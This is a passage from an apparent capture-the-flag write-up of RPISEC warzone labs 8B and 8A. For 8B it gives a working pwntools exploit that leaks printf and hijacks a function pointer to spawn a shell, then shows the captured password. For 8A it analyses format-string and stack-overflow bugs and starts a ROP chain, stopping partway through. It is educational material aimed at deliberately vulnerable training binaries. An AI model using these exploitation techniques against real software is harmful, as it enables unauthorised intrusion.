vector*);\r\n\t\t...\r\n<\/pre>\n<p>The member-function <code>printFunc<\/code>, which vice versa is set to <code>printf<\/code>. So what does <code>printf<\/code> print? The address of <code>printf<\/code>! This means we can leak a libc-address and bypass ASLR.<\/p>\n<p>So far so good. Let&#8217;s proceed analysing the program&#8217;s behaviour.<\/p>\n<p>As for now we have entered some values for <code>v1<\/code> and <code>v2<\/code> and stored the sum of both vectors in <code>v3<\/code>.<\/p>\n<p>As we already figured out, the source address in the function call to <code>memcpy<\/code> within <code>fave<\/code> seems to be messed up. So let&#8217;s save same favorites:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [12,25]; title: ; notranslate\" title=\"\">\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 4\r\nI see you added that vector to your favorites, but was it really your favorite?\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 5\r\nAddress: 0xb8037008\r\nvoid printFunc: 0xb7628280\r\nchar a: \u2592\r\nshort b: 2223\r\nunsigned short c: 56534\r\nint d: 4444445\r\nunsigned int e: 555556\r\nlong f: 6666667\r\nunsigned long g: 777778\r\nlong long h: 888889\r\nunsigned long long i: 10000000\r\nPrinted 1 vectors.\r\n<\/pre>\n<p>The first copied favorite vector seems to be valid. The member variables contain the sum of <code>v1<\/code> and <code>v2<\/code>. Since the index <code>i<\/code> is used in the <code>memcpy<\/code> call let&#8217;s add another favorite:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [12,25,37,38,39,40,41,42,43,44,45,46,47]; title: ; notranslate\" title=\"\">\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 4\r\nI see you added that vector to your favorites, but was it really your favorite?\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 5\r\nAddress: 0xb8037008\r\nvoid printFunc: 0xb7628280\r\nchar a: \u2592\r\nshort b: 2223\r\nunsigned short c: 56534\r\nint d: 4444445\r\nunsigned int e: 555556\r\nlong f: 6666667\r\nunsigned long g: 777778\r\nlong long h: 888889\r\nunsigned long long i: 10000000\r\nAddress: 0xb8037038\r\nvoid printFunc: 0x8af00b1\r\nchar a: \u2592\r\nshort b: 0\r\nunsigned short c: 53533\r\nint d: 555556\r\nunsigned int e: 6666667\r\nlong f: 777778\r\nunsigned long g: 888889\r\nlong long h: 42949672960000000\r\nunsigned long long i: 0\r\nPrinted 2 vectors.\r\n<\/pre>\n<p>The second favorite vector is messed up. As suggested the source address of the call to <code>memcpy<\/code> has been incremented by 4 for the favorite vector with the index <code>i = 1<\/code>, because the address is cast to an integer pointer:<\/p>\n<pre class=\"brush: cpp; first-line: 155; highlight: [157]; title: ; notranslate\" title=\"\">\r\n...\r\n                faves&#x5B;i] = malloc(sizeof(struct vector));\r\n                memcpy(faves&#x5B;i], (int*)(&amp;v3)+i, sizeof(struct vector));\r\n...\r\n<\/pre>\n<p>In order to exploit this, the most interesting line of output is this one:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nvoid printFunc: 0x8af00b1\r\n...\r\n<\/pre>\n<p>The variables which we stored in <code>v1<\/code> and <code>v2<\/code> were summed up in <code>v3<\/code> and have been written to the function-pointer <code>printFunc<\/code>:<\/p>\n<pre>\r\n       v1                 v2               v3\r\na:  'X' (0x58)    +    'Y' (0x59)    =    0xb1\r\nb:    2222        +       1          =    2223 (0x8af)\r\n\r\n--> printFunc: 0x8af00b1\r\n<\/pre>\n<p>As you can see, between the <code>char<\/code>-variable <code>a<\/code> and the <code>short<\/code>-variable <code>b<\/code> there is an additional null-byte. This is caused by the compiler padding variables in the struct. In order to set <code>printFunc<\/code> do an arbitrary value we have to add more favorites until a full 4-byte value we can control is stored in <code>printFunc<\/code>. The easiest way is to use the unsigned integer <code>e<\/code>. Thus we have to add a total amount of 5 favorites:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [18]; title: ; notranslate\" title=\"\">\r\n...\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 4\r\nI see you added that vector to your favorites, but was it really your favorite?\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 5\r\n...\r\nAddress: 0xb80370c8\r\nvoid printFunc: 0x87a24\r\nchar a: \u2592\r\nshort b: 101\r\nunsigned short c: 56882\r\nint d: 888889\r\nunsigned int e: 0\r\nlong f: 10000000\r\nunsigned long g: 0\r\nlong long h: 0\r\nunsigned long long i: 0\r\nPrinted 5 vectors.\r\n<\/pre>\n<p>Now <code>printFunc<\/code> contains the value of <code>v1.e + v2.e<\/code>:<\/p>\n<pre>\r\n       v1        v2          v3\r\ne:   555555  +   1    =    555556 (0x87a24)\r\n\r\n--> printFunc: 0x87a24\r\n<\/pre>\n<p>Since this is a 4-byte value we can set <code>printFunc<\/code> to an arbitrary address. In order to trigger a call to this address, we have to load our favorite vector in <code>v1<\/code> or <code>v2<\/code> and then print this vector:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [12,13,14,26,27,29,39,42,54,55]; title: ; notranslate\" title=\"\">\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 6\r\nWhich favorite? 4\r\nWhich vector? 1\r\n+------------------------------------------------------------+\r\n|                                                            |\r\n|  1. Enter data                                          :&gt; |\r\n|  2. Sum vectors                                         :] |\r\n|  3. Print vector                                        :3 |\r\n|  4. Save sum to favorites                               8) |\r\n|  5. Print favorites                                     :O |\r\n|  6. Load favorite                                       :$ |\r\n|  9. Get help                                            :  |\r\n|                                                            |\r\n+------------------------------------------------------------+\r\nI COMMAND YOU TO ENTER YOUR COMMAND: 3\r\nWhich vector? 1\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x87a24\r\nEBX: 0xb77e7fa8 --&gt; 0x2eb0\r\nECX: 0xb77b38a4 --&gt; 0x0\r\nEDX: 0xb77e8040 --&gt; 0x87a24\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbf8fac88 --&gt; 0x0\r\nESP: 0xbf8fac5c --&gt; 0xb77e654c (&lt;main+200&gt;:     jmp    0xb77e657f &lt;main+251&gt;)\r\nEIP: 0x87a24\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x87a24\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbf8fac5c --&gt; 0xb77e654c (&lt;main+200&gt;:    jmp    0xb77e657f &lt;main+251&gt;)\r\n0004| 0xbf8fac60 --&gt; 0xb77e8040 --&gt; 0x87a24\r\n0008| 0xbf8fac64 --&gt; 0xbf8fad24 --&gt; 0xbf8fc8b4 (&quot;\/levels\/lab08\/lab8B&quot;)\r\n0012| 0xbf8fac68 --&gt; 0xbf8fad24 --&gt; 0xbf8fc8b4 (&quot;\/levels\/lab08\/lab8B&quot;)\r\n0016| 0xbf8fac6c --&gt; 0x1\r\n0020| 0xbf8fac70 --&gt; 0xb77b23c4 --&gt; 0xb77b31e0 --&gt; 0x0\r\n0024| 0xbf8fac74 --&gt; 0x3300000d ('\\r')\r\n0028| 0xbf8fac78 --&gt; 0xb77e8040 --&gt; 0x87a24\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x00087a24 in ?? ()\r\n<\/pre>\n<p>Segmentation fault. Great!<\/p>\n<p>Summing it up we are now able to:<br \/>\n&#8211;&gt; Leak the address of <code>printf<\/code> and thus calculate the offset to any function we would like to call.<br \/>\n&#8211;&gt; Control the instruction pointer.<\/p>\n<p>What function are we going to call? Well, the author of the program left us a little gift:<\/p>\n<pre class=\"brush: cpp; first-line: 123; title: ; notranslate\" title=\"\">\r\n\/*\r\n * Bonus points if you don't use this function.\r\n *\/\r\nvoid thisIsASecret()\r\n{\r\n        system(&quot;\/bin\/sh&quot;);\r\n}\r\n<\/pre>\n<p>The only thing we need to do is to calculate the offset of both functions:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p printf\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb7655280 &lt;__printf&gt;\r\ngdb-peda$ p thisIsASecret\r\n$2 = {&lt;text variable, no debug info&gt;} 0xb77e60a7 &lt;thisIsASecret&gt;\r\ngdb-peda$ p thisIsASecret - printf\r\n$3 = 0x190e27\r\n<\/pre>\n<p>Thus we have to add <code>0x190e27<\/code> to the leaked address of <code>printf<\/code> to get the address of <code>thisIsASecret<\/code>.<\/p>\n<p>The following python-script:<br \/>\n&#8211;&gt; Leaks the address of <code>printf<\/code>.<br \/>\n&#8211;&gt; Uses this address to calculate the address of <code>thisIsASecret<\/code> (adding <code>0x190e27<\/code>).<br \/>\n&#8211;&gt; Stores the address of <code>thisIsASecret<\/code> &#8211; 1 in <code>v1.e<\/code>.<br \/>\n&#8211;&gt; Stores the value 1 in <code>v2.e<\/code> (zeros are not allowed!).<br \/>\n&#8211;&gt; Summing up both vectors in <code>v3<\/code>.<br \/>\n&#8211;&gt; Chooses <code>4. Save sum to favorites<\/code> 5 times to overwrite <code>printFunc<\/code> with the value of <code>v3.e<\/code>.<br \/>\n&#8211;&gt; Loads the 5th favorite in <code>v1<\/code>.<br \/>\n&#8211;&gt; Prints the vector <code>v1<\/code> triggering the call to <code>thisIsASecret<\/code>.<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab8B@warzone:\/levels\/lab08$ cat \/tmp\/expl_lab8B.py\r\nfrom pwn import *\r\n\r\n#+++++++++++++++++++++++++\r\ndef enterData(p, v, data):\r\n  p.sendline(&quot;1&quot;) # 1. Enter data\r\n  p.sendline(str(v))   # vector\r\n  for i in range(len(data)):\r\n    p.sendline(str(data&#x5B;i]))\r\n  p.recv(1000)\r\n\r\n#+++++++++++++++++\r\ndef sumVectors(p):\r\n  p.sendline(&quot;2&quot;) # 2. Sum vectors\r\n\r\n#++++++++++++++++++\r\ndef printVector(p, v):\r\n  p.sendline(&quot;3&quot;) # 3. Print vector\r\n  p.sendline(str(v))\r\n  return p.recv(1000)\r\n\r\n#+++++++++++++++++\r\ndef leakPrintf(p):\r\n  ret = printVector(p, 1)\r\n  addr = int(ret&#x5B;0x33:0x37]&#x5B;::-1].encode(&quot;hex&quot;), 16)\r\n  return addr\r\n\r\n#+++++++++++++++++++\r\ndef saveSumToFav(p):\r\n  p.sendline(&quot;4&quot;) # 4. Save sum to favorites\r\n  p.recv(1000)\r\n\r\n#+++++++++++++++++++++++++++\r\ndef loadFavorite(p, fav, v):\r\n  p.sendline(&quot;6&quot;) # 6. Load favorite\r\n  p.sendline(str(fav))\r\n  p.sendline(str(v))\r\n  p.recv(1000)\r\n\r\n\r\n\r\np = process(&quot;.\/lab8B&quot;)\r\np.recv(1000)\r\n\r\naddr_printf = leakPrintf(p)\r\nlog.info(&quot;printf addr: &quot; + hex(addr_printf))\r\n\r\naddr_secret = addr_printf + 0x190e27\r\nlog.info(&quot;secret addr: &quot; + hex(addr_secret))\r\n\r\nenterData(p, 1, &#x5B;1, 1, 1, 1, addr_secret-1, 1, 1, 1, 1])\r\nenterData(p, 2, &#x5B;1, 1, 1, 1, 1, 1, 1, 1, 1])\r\nsumVectors(p)\r\nfor i in range(5): saveSumToFav(p)\r\nloadFavorite(p, 4, 1)\r\nprintVector(p, 1)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8B@warzone:\/levels\/lab08$ python \/tmp\/expl_lab8B.py\r\n&#x5B;+] Starting program '.\/lab8B': Done\r\n&#x5B;*] printf addr: 0xb7622280\r\n&#x5B;*] secret addr: 0xb77b30a7\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab8A\r\n$ cat \/home\/lab8A\/.pass\r\nTh@t_w@5_my_f@v0r1t3_ch@11\r\n<\/pre>\n<p>Done! The password for the next level is <code>Th@t_w@5_my_f@v0r1t3_ch@11<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab8A\">lab8A<\/h1>\n<p>We connect to the last level using credentials <span style=\"color: #ff0000;\">lab8A<\/span> with the password <span style=\"color: #ff0000;\">Th@t_w@5_my_f@v0r1t3_ch@11<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlogin as: lab8A\r\nlab8A@localhost's password: (Th@t_w@5_my_f@v0r1t3_ch@11)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n<\/pre>\n<p>Let&#8217;s have a look at the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [7,8,9,13,15,16,17,29,65,71,75,77,78,79,80,81,97,100]; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ cat lab8A.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &quot;utils.h&quot;\r\n#define STDIN 0\r\n\r\n\/\/gcc -static -fstack-protector-all -mpreferred-stack-boundary=2 -o lab8A lab8A.c\r\nint *global_addr;\r\nint *global_addr_check;\r\n\r\n\/\/ made so you can only read what we let you\r\n\r\nvoid selectABook() {\r\n    \/* Our Apologies,the interface is currently under developement *\/\r\n    char buf_secure&#x5B;512];\r\n    scanf(&quot;%s&quot;, buf_secure);\r\n    printf(buf_secure);\r\n    if(strcmp(buf_secure, &quot;A&quot;) == 0){\r\n        readA();\r\n    }else if(strcmp(buf_secure,&quot;F&quot;) == 0){\r\n        readB();\r\n    }else if(*buf_secure == '\\x00'){\r\n        readC();\r\n    }else if(buf_secure == 1337){\r\n        printf(&quot;\\nhackers dont have time to read.\\n&quot;);\r\n        exit(EXIT_FAILURE);\r\n    }else{\r\n        printf(&quot;\\nWhat were you thinking, that isn't a good book.&quot;);\r\n        selectABook();\r\n    }\r\n    return;\r\n}\r\n\r\nvoid readA(){\r\n\r\n    printf(&quot;\\n\\n*************************************************\\n&quot;);\r\n    printf(&quot;{|} Aristote's Metaphysics 350 B.C. Book VIII {|}\\n&quot;);\r\n    printf(&quot;*************************************************\\n\\n&quot;);\r\n    printf(&quot;To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped? \\n&quot;);\r\n\r\n}\r\n\r\nvoid readB(){\r\n\r\n    printf(&quot;\\n\\n*************************************************\\n&quot;);\r\n    printf(&quot;{|} Aristote's Metaphysics 350 B.C. Book IVIZ {|}\\n&quot;);\r\n    printf(&quot;*************************************************\\n\\n&quot;);\r\n    printf(\r\n\r\n    &quot;Clearly, then, if people proceed thus in their usual manner of definition and speech, they cannot explain and solve the difficulty. But if, as we say, one element is matter and another is form, and one is potentially and the other actually, the question will no longer be thought a difficulty. For this difficulty is the same as would arise if 'round bronze' were the definition of 'cloak'; for this word would be a sign of the definitory formula, so that the question is, what is the cause of the unity of 'round' and 'bronze'? The difficulty disappears, because the one is matter, the other form. What, then, causes this-that which was potentially to be actually-except, in the case of things which are generated, the agent? For there is no other cause of the potential sphere's becoming actually a sphere, but this was the essence of either. Of matter some is intelligible, some perceptible, and in a formula there is always an element of matter as well as one of actuality; e.g. the circle is 'a plane figure'. But of the things which have no matter, either intelligible or perceptible, each is by its nature essentially a kind of unity, as it is essentially a kind of being-individual substance, quality, or quantity (and so neither 'existent' nor 'one' is present in their definitions), and the essence of each of them is by its very nature a kind of unity as it is a kind of being-and so none of these has any reason outside itself, for being one, nor for being a kind of being; for each is by its nature a kind of being and a kind of unity, not as being in the genus 'being' or 'one' nor in the sense that being and unity can exist apart from particulars. \\n&quot;);\r\n\r\n}\r\n\r\nvoid readC(){\r\n\r\n    printf(&quot;\\n\\n*************************************************\\n&quot;);\r\n    printf(&quot;{|} Aristote's Metaphysics 350 B.C. Book MN9+ {|}\\n&quot;);\r\n    printf(&quot;*************************************************\\n\\n&quot;);\r\n   printf(\r\n    &quot;Owing to the difficulty about unity some speak of 'participation', and raise the question, what is the cause of participation and what is it to participate; and others speak of 'communion', as Lycophron says knowledge is a communion of knowing with the soul; and others say life is a 'composition' or 'connexion' of soul with body. Yet the same account applies to all cases; for being healthy, too, will on this showing be either a 'communion' or a 'connexion' or a 'composition' of soul and health, and the fact that the bronze is a triangle will be a 'composition' of bronze and triangle, and the fact that a thing is white will be a 'composition' of surface and whiteness. The reason is that people look for a unifying formula, and a difference, between potency and complete reality. But, as has been said, the proximate matter and the form are one and the same thing, the one potentially, and the other actually. Therefore it is like asking what in general is the cause of unity and of a thing's being one; for each thing is a unity, and the potential and the actual are somehow one. Therefore there is no other cause here unless there is something which caused the movement from potency into actuality. And all things which have no matter are without qualification essentially unities. &quot;);\r\n\r\n\r\n}\r\n\r\nvoid findSomeWords() {\r\n    \/* We specialize in words of wisdom *\/\r\n    char buf&#x5B;24];\r\n    \/\/ to avoid the null\r\n    global_addr = (&amp;buf+0x1);\r\n    \/\/ have to make sure no one is stealing the librarians cookies (they get angry)\r\n    global_addr_check = global_addr-0x2;\r\n    char lolz&#x5B;4];\r\n\r\n    printf(&quot;\\n..I like to read ^_^ &lt;==  &quot;);\r\n    read(STDIN, buf, 2048); \/\/ &gt;&gt; read a lot every day !\r\n\r\n    if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){\r\n        printf(&quot;\\n\\nWoah There\\n&quot;);\r\n        \/\/ why are you trying to break my program q-q\r\n        exit(EXIT_FAILURE);\r\n    }\r\n\r\n    \/\/ protected by my CUSTOM cookie - so soooo safe now\r\n    return;\r\n}\r\n\r\nint main(int argc, char* argv&#x5B;]) {\r\n\r\n    disable_buffering(stdout);\r\n    printf(&quot;\\n\\n\\n&quot;);\r\n    printf(&quot;**********************************************\\n&quot;\\\r\n           &quot;{|}  Welcome to QUEND's Beta-Book-Browser  {|}\\n&quot;\\\r\n           &quot;**********************************************\\n&quot;\\\r\n           &quot;\\n&quot;\r\n           &quot;\\t==&gt; reading is for everyone &lt;==\\n&quot;\\\r\n           &quot;\\t&#x5B;+] Enter Your Favorite Author's Last Name: &quot;);\r\n    selectABook();\r\n\r\n    printf(&quot;\\n...please turn to page 394...\\n&quot;);\r\n    findSomeWords();\r\n\r\n    printf(&quot;\\n\\t&#x5B;===] Whew you made it !\\n\\n&quot;);\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; The binary is linked statically (gcc option <code>-static<\/code> on line 7).<br \/>\n&#8211;&gt; On lines 8-9 two global integer pointers are defined: <code>global_addr<\/code> and <code>global_addr_check<\/code>.<br \/>\n&#8211;&gt; Within the <code>main<\/code> function a welcome message is printed and the function <code>selectABook<\/code> is called (line 97).<br \/>\n&#8211;&gt; This function (line 13) defines a local buffer <code>buf_secure<\/code> (line 15) which is filled with user input using <code>scanf<\/code> (line 16).<br \/>\n&#8211;&gt; This buffer is printed using <code>printf<\/code> (line 17) and then compared to different strings \/ constants (<code>\"A\"<\/code>, <code>\"B\"<\/code>, <code>'\\x00'<\/code>, <code>1337<\/code>).<br \/>\n&#8211;&gt; Depending on the result of the comparison <code>readA<\/code>, <code>readB<\/code> or <code>readC<\/code> is called. If <code>buf_secure<\/code> is equal to <code>1337<\/code> the program is quit by calling <code>exit<\/code>.<br \/>\n&#8211;&gt; If none of the comparisons succeeded, the function <code>selectABook<\/code> is called recursively (line 29).<br \/>\n&#8211;&gt; The three functions <code>readA<\/code>, <code>readB<\/code> and <code>readC<\/code> merely print some output.<br \/>\n&#8211;&gt; After the call to <code>selectABook<\/code> within the <code>main<\/code> function there is another call to <code>findSomeWords<\/code> (line 100).<br \/>\n&#8211;&gt; This function (line 65) defines a local buffer <code>buf<\/code> (line 67) and sets the <code>global_addr<\/code> pointer to the address right after the buffer: (<code>&buf+0x1 = buf+24<\/code>) (line 69).<br \/>\n&#8211;&gt; The other pointer <code>global_addr_check<\/code> is set to the value of <code>global_addr-0x2<\/code> (line 71), which equals the address of <code>buf+16<\/code> since both pointers are 4 byte integers (<code>24 - 8 = 16<\/code>).<br \/>\n&#8211;&gt; On line 75 <code>read<\/code> is called to read a maximum amount of 2048 bytes into <code>buf<\/code>.<br \/>\n&#8211;&gt; After this (lines 77-81) follows a <i>custom stack cookie<\/i> implementation. The values which each pointer is referencing are XORed and compared the <code>(*(global_addr))^(0xdeadbeef)<\/code>.<br \/>\n&#8211;&gt; If the comparison fails, <code>exit<\/code> is called to quit the program. In this case the <code>return<\/code> instruction at the end of the function is never reached.<\/p>\n<p>Just like lab6B and lab7A there is an additional readme file:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ cat lab8A.readme\r\nlab8A is a remote level much like lab6B. It is running on port 8841.\r\n\r\nnc wargame.server.example 8841 -vvv\r\n<\/pre>\n<p>Where is the vulnerability within the program?<\/p>\n<p>There are two obvious vulnerabilities in the program. The first one within <code>selectABook<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 15; title: ; notranslate\" title=\"\">\r\n    char buf_secure&#x5B;512];\r\n    scanf(&quot;%s&quot;, buf_secure);\r\n    printf(buf_secure);\r\n<\/pre>\n<p>The buffer <code>buf_secure<\/code> contains user input and is used as the first argument to <code>printf<\/code>. Since this is the format string, the user can enter format specifiers to leak information and also to write arbitrary data to an arbitrary address as we have seen in <a href=\"https:\/\/www.devel0pment.de\/?p=351\">lab04<\/a>.<\/p>\n<p>The second vulnerability resides within the function <code>findSomeWords<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 67; title: ; notranslate\" title=\"\">\r\n    char buf&#x5B;24];\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 75; title: ; notranslate\" title=\"\">\r\n    read(STDIN, buf, 2048); \/\/ &gt;&gt; read a lot every day !\r\n<\/pre>\n<p>The buffer <code>buf<\/code> is only 24 bytes long, but a maximum amount of 2048 are read into it. This is a classical buffer overflow like in <a href=\"https:\/\/www.devel0pment.de\/?p=109\">lab02<\/a>.<\/p>\n<p>Since the subject of this lab is <i>Misc and Stack Cookies<\/i> our final intend should be to exploit the buffer overflow vulnerability and bypass the stack canary protection. Nevertheless I decided to focus on the format string vulnerability at first. It should be possible to exploit this vulnerability without even using the second vulnerability.<\/p>\n<p>We already know that we can leverage a format string vulnerability to write arbitrary data to an arbitrary address. Since we ultimately want to get a shell, the first thing we need to do is to control the instruction pointer. We can do this by overwriting the return address of the function <code>selectABook<\/code>. The only thing we have to consider is that we need to enter a valid input triggering <code>readA<\/code>, <code>readB<\/code> or <code>readC<\/code> because otherwise the <code>return<\/code> instruction at the end of the function is never reached. Since the function calls itself recursively if no valid input is entered, this should be no problem.<\/p>\n<p>In order to overwrite the return address, we have to know where the address is stored on the stack. Because ASLR is enabled, we do not know the address in advance. Thus we start by leaking a stack address:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [10,11]; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ .\/lab8A\r\n\r\n\r\n\r\n**********************************************\r\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\r\n**********************************************\r\n\r\n        ==&gt; reading is for everyone &lt;==\r\n        &#x5B;+] Enter Your Favorite Author's Last Name: %p\r\n0xbfb6f5a0\r\nWhat were you thinking, that isn't a good book.\r\n<\/pre>\n<p>That&#8217;s it. Since the first argument on the stack is a stack address, it suffices to enter <code>%p<\/code> to leak this address. We could now calculate the offset to the return address we want to overwrite. But before we are doing this, we have to think about which address want to store in the instruction pointer.<\/p>\n<p>We have already figured out that the binary was linked statically. We can verify this using <code>file<\/code> for example:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ file lab8A\r\nlab8A: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU\/Linux), statically linked, for GNU\/Linux 2.6.24, BuildID&#x5B;sha1]=760ccd5bdb365cd6acbc1befc07e58fec83743a1, not stripped\r\n<\/pre>\n<p>Also <code>NX<\/code> is enabled and we thus cannot store and execute a shellcode on the stack:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ checksec lab8A\r\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE\r\nPartial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     2     41       lab8A\r\n<\/pre>\n<p>Unfortunately the binary does not contain <code>system<\/code> or <code>execve<\/code>. But a lot of function has been built-in statically resulting in a quite good amount of ROP-gadgets:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ ROPgadget --binary lab8A | wc -l\r\n11940\r\n<\/pre>\n<p>Thus we will build a ROP-chain which will call <code>execve(\"\/bin\/sh\")<\/code> like we did in <a href=\"https:\/\/www.devel0pment.de\/?p=366#lab5B\">lab5B<\/a>.<\/p>\n<p>I ended up with the following ROP-gadgets using <code>ROPgadget<\/code>:<\/p>\n<pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\n0x08054b45: mov edx, 0xffffffff; ret\r\n0x0807b8dc: inc edx; adc al,0x39; ret\r\n            --&gt; EDX = 0\r\n\r\n0x08049c73: xor ecx, ecx; pop ebx; mov eax, ecx; pop esi; pop edi; pop ebp; ret\r\n;addr_binsh  -&gt; ebx\r\n;0xdeadbeef  -&gt; esi\r\n;0xdeadbeef  -&gt; edi\r\n;0xdeadbeef  -&gt; ebp\r\n            --&gt; ECX = 0\r\n            --&gt; EAX = 0\r\n            --&gt; EBX = address of &quot;\/bin\/sh&quot;\r\n\r\n0x08069443: add eax, edi; pop edi; ret\r\n;0x2152411c  -&gt; edi: 0xdeadbeef + 0x2152411c = 0x10000000b\r\n\r\n0x08069443: add eax, edi; pop edi; 